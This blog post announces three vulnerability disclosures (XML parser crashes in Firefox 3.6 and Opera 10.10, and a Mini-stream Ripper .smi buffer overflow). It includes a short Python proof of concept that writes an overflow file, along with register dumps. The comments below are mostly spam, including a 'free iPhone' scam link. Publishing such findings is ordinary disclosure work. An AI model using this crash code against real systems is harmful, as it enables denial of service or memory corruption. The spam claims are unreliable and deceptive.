I published 3 vulnerabilities past days and coudn’t get a time to update.so here it is.
Firefox 3.6 (XML parser) Memory Corruption PoC
Mozilla Firefox 3.6 and earlier 3.0.x versions allows remote attackers to cause a denial of service (memory corruption) via an XML document composed of a long series of start-tags with no corresponding end-tags.
proof of concept exploit-db
Opera 10.10 (XML parser) Denial of Service
After opening the opera.html browser hang for a while and crush.same bug in firefox too :d
This vulnerability cause a denial of service (memory corruption) via an XML document composed of a long series of start-tags with no corresponding end-tags.
proof of concept exploit-db
Mini-stream Ripper 3.0.1.1 (.smi) Local Buffer Overflow PoC
#!/usr/bin/python
# Tested on: win XPsp3
# webpage: d3b4g.info
#EAX 00E1C880
#EDX 00000001
#EBX 41414141------------------------------------------------
#ESP 000D198C
#EBP 00E1C880 controle over registers
#ESI 41414141------------------------------------------------
#EDI 00E1C880
#EIP 00431302 Ripper.00431302
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 0 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
chars = "A"*90000
crush = "\x41\x41\x41\x41"
file=open('exp.smi','w')
file.write(chars+crush+chars)
file.close()
proof of concept exploit-db
I found a interesting bug in IE8 while testing my sexy fuzzer which I’m developing, will update it later after digging into it.
That’s all foalk’s
Ubuntu 9.10 and Firefox 3.6 (build 20100115133306) doesn’t turn off
It is probably only on Windows.
These exploits work only in FF and Opera for Windows. Don’t affect browsers under Unix and Unix-like OSes like BSD, OS X or Linux. Seems that that is a problem with MS Windows memory management not with the browser ability to parse XML.
Wadyslaw
Thanks for the intresting Blog but i would like to let you, the internet site administrator and everyone who gets the chance to read this about a way to get a new IPhone 4G. Its incredibly simple. You goto the internet site fill in your email and other details then you get the free of charge Iphone 4G. You may well believe its a scam but here is why it isn’t… They send you a Iphone that already has some apps installed on it so when you brouse the web you will see their Adverts. Thats IT! And the adverts arn’t annoying they’re the same as normal ads seen on websites. http://freeiphone4g4u.blogspot.com/2010/07/how-to-get-free-iphone-4g.html. That offer is only availible in the US though, if your anywhere else you may also get a free IPad from here http://freeiphone4g4u.blogspot.com/2010/08/free-ipad.html.
Thanks this made for intresting reading. I really like your wordpress theme, i frequently come back here and i dont know why. I just actually like your site lol… I just now read something simular to this on That Are i think they might of stolen the blog?
The Good!These Content articles Composed too great,they Abundant contents and Info accurately.they are help to me.I Assume to see
I love it,Fantastic article.I am decide to put this into use 1 of these Day times.Thank you for sharing this.To Your Success!
Your Thought coincides with mine.and I Believe it’s Far better.
Amazing stuff,Many thanks so much for this!This is very useful post for me. This will absolutely going to Aid me in my projects .
Ha, that? Truly a really Excellent suggestion. Many thanks so much for this!
Good article, Every and Every Stage is Excellent enough.Many thanks for sharing with us your wisdom.
Useful information, many thanks to the author. It is puzzling to me now, but in general, the usefulness and importance is overwhelming. Very much thanks again and good luck!
Your web site has really been helpful to me and I thank you for your time and effort working on it. Keep up the good work.
This is all very new to me and this article Seriously opened my Eye.Many thanks for sharing with us your wisdom.
Facts to my Company
Please Maintain it up. I look for your Articles on my iphone rss feed every day.
Amazing stuff,Many thanks so much for this!This is very Helpful Article for me. This will Completely going to Support me in my Tasks .
I was actually Seeming for this resource a Several weeks back. Many thanks for sharing with us your wisdom.This will absolutely going to Aid me in my Assignments .
Really great, practicly explained and Helpful Guidelines.
Hmm, I hope I percieve this the way it was intended..